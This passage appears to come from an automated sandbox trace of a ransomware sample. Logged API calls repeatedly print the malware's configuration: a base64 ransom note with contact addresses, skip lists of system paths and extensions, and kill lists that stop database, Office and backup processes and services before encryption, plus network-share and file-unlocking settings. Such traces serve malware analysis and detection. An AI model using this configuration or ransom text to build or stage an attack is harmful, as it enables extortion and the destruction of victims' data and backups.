0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 0 [0031.920] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf80, Size=0xc) returned 0x4037d0 [0031.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e640 [0031.920] strtol (in: _Str="1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0xef9d4, _Radix=0 | out: _EndPtr=0xef9d4*=",\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 1500 [0031.920] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4037d0, Size=0x10) returned 0x403800 [0031.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e660 [0031.920] strtol (in: _Str="51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", 